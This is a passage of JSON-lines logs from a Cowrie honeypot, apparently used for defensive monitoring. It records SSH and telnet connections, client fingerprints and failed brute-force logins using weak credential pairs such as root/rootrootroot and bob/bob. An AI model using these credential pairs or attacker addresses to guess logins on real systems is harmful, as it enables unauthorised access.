fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:42:53.489972Z","src_ip":"62.54.176.203","session":"da9def40fcc9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rootrootroot","message":"login attempt [root/rootrootroot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:42:53.985816Z","src_ip":"62.54.176.203","session":"da9def40fcc9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:42:55.089446Z","src_ip":"62.54.176.203","session":"da9def40fcc9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":45108,"dst_ip":"159.203.135.109","dst_port":22,"session":"6d3c6b14a868","protocol":"ssh","message":"New connection: 176.65.132.129:45108 (159.203.135.109:22) [session: 6d3c6b14a868]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:42:55.141177Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:42:55.256083Z","src_ip":"176.65.132.129","session":"6d3c6b14a868","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:42:55.338541Z","src_ip":"176.65.132.129","session":"6d3c6b14a868","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"runner","password":"runner","message":"login attempt [runner/runner] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:42:55.586365Z","src_ip":"176.65.132.129","session":"6d3c6b14a868","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:42:56.671461Z","src_ip":"176.65.132.129","session":"6d3c6b14a868","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.79.125","src_port":49718,"dst_ip":"10.17.0.5","dst_port":22,"session":"2b4c2aaa2a93","protocol":"ssh","message":"New connection: 87.251.79.125:49718 (10.17.0.5:22) [session: 2b4c2aaa2a93]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:42:56.833901Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:42:56.838255Z","src_ip":"87.251.79.125","session":"2b4c2aaa2a93","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":47004,"dst_ip":"10.17.0.5","dst_port":23,"session":"d99b263e3d99","protocol":"telnet","message":"New connection: 152.42.224.71:47004 (10.17.0.5:23) [session: d99b263e3d99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:42:56.866666Z"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:42:56.911188Z","src_ip":"87.251.79.125","session":"2b4c2aaa2a93","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"malish","message":"login attempt [root/malish] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:42:57.129776Z","src_ip":"87.251.79.125","session":"2b4c2aaa2a93","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.249.28.115","src_port":41754,"dst_ip":"159.203.135.109","dst_port":22,"session":"b9f84801bb47","protocol":"ssh","message":"New connection: 23.249.28.115:41754 (159.203.135.109:22) [session: b9f84801bb47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:42:57.880517Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:42:57.885925Z","src_ip":"23.249.28.115","session":"b9f84801bb47","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:42:58.096261Z","src_ip":"23.249.28.115","session":"b9f84801bb47","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:42:58.205845Z","src_ip":"87.251.79.125","session":"2b4c2aaa2a93","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":47752,"dst_ip":"159.203.135.109","dst_port":22,"session":"f25563cc467f","protocol":"ssh","message":"New connection: 176.65.132.129:47752 (159.203.135.109:22) [session: f25563cc467f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:42:58.240530Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:42:58.245304Z","src_ip":"176.65.132.129","session":"f25563cc467f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:42:58.327157Z","src_ip":"176.65.132.129","session":"f25563cc467f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.72175073623657,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:42:58.517115Z","src_ip":"152.42.224.71","session":"46d193f178e5","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"bob","password":"bob","message":"login attempt [bob/bob] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:42:58.574311Z","src_ip":"176.65.132.129","session":"f25563cc467f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root123!@#","message":"login attempt [root/root123!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:42:58.913764Z","src_ip":"23.249.28.115","session":"b9f84801bb47","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:42:59.755744Z","src_ip":"176.65.132.129","session":"f25563cc467f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":53.00762486457825,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:42:59.985967Z","src_ip":"152.42.224.71","session":"23e9265fee1e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:43:00.111768Z","src_ip":"23.249.28.115","session":"b9f84801bb47","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":47762,"dst_ip":"159.203.135.109","dst_port":22,"session":"f8be80e69663","protocol":"ssh","message":"New connection: 176.65.132.129:47762 (159.203.135.109:22) [session: f8be80e69663]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:43:01.259128Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:43:01.264061Z","src_ip":"176.65.132.129","session":"f8be80e69663","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:43:01.349476Z","src_ip":"176.65.132.129","session":"f8be80e69663","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rootrootroot","message":"login attempt [root/rootrootroot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:43:01.600755Z","src_ip":"176.65.132.129","session":"f8be80e69663","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":47020,"dst_ip":"10.17.0.5","dst_port":23,"session":"39bf5cbe3b4d","protocol":"telnet","message":"New connection: 152.42.224.71:47020 (10.17.0.5:23) [session: 39bf5cbe3b4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:43:02.117044Z"}
{"eventid":"cowrie.session.closed","duration":43.730711221694946,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:43:02.669158Z","src_ip":"152.42.224.71","session":"6220a8c2bb03","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:43:02.689172Z","src_ip":"176.65.132.129","session":"f8be80e69663","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.443984985351562,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:43:02.909670Z","src_ip":"152.42.224.71","session":"a1ef5f76643e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":47030,"dst_ip":"10.17.0.5","dst_port":23,"session":"d9240754f111","protocol":"telnet","message":"New connection: 152.42.224.71:47030 (10.17.0.5:23) [session: d9240754f111]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:43:03.426958Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":47774,"dst_ip":"159.203.135.109","dst_port":22,"session":"03607828929c","protocol":"ssh","message":"New connection: 176.65.132.129:47774 (159.203.135.109:22) [session: 03607828929c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:43:04.411495Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:43:04.416755Z","src_ip":"176.65.132.129","session":"03607828929c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:43:04.500227Z","src_ip":"176.65.132.129","session":"03607828929c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bigdata","password":"bigdata","message":"login attempt [bigdata/bigdata] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:43:04.875406Z","src_ip":"176.65.132.129","session":"03607828929c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":47044,"dst_ip":"10.17.0.5","dst_port":23,"session":"65ddd557fc1f","protocol":"telnet","message":"New connection: 152.42.224.71:47044 (10.17.0.5:23) [session: 65ddd557fc1f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:43:05.748704Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:43:05.961546Z","src_ip":"176.65.132.129","session":"03607828929c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":53328,"dst_ip":"159.203.135.109","dst_port":22,"session":"36d1de0e99d5","protocol":"ssh","message":"New connection: 176.65.132.129:53328 (159.203.135.109:22) [session: 36d1de0e99d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:43:07.701685Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:43:07.706650Z","src_ip":"176.65.132.129","session":"36d1de0e99d5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:43:07.789262Z","src_ip":"176.65.132.129","session":"36d1de0e99d5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"amir","password":"amir","message":"login attempt [amir/amir] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:43:08.039501Z","src_ip":"176.65.132.129","session":"36d1de0e99d5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:43:09.125234Z","src_ip":"176.65.132.129","session":"36d1de0e99d5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":60146,"dst_ip":"10.17.0.5","dst_port":23,"session":"b12e6ec14a8c","protocol":"telnet","message":"New connection: 152.42.224.71:60146 (10.17.0.5:23) [session: b12e6ec14a8c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:43:09.545353Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":60150,"dst_ip":"10.17.0.5","dst_port":23,"session":"876bf32e73c9","protocol":"telnet","message":"New connection: 152.42.224.71:60150 (10.17.0.5:23) [session: 876bf32e73c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:43:09.627335Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":53340,"dst_ip":"159.203.135.109","dst_port":22,"session":"8f218e5c01d5","protocol":"ssh","message":"New connection: 176.65.132.129:53340 (159.203.135.109:22) [session: 8f218e5c01d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:43:10.857984Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:43:10.863137Z","src_ip":"176.65.132.129","session":"8f218e5c01d5","protocol":"ssh"}
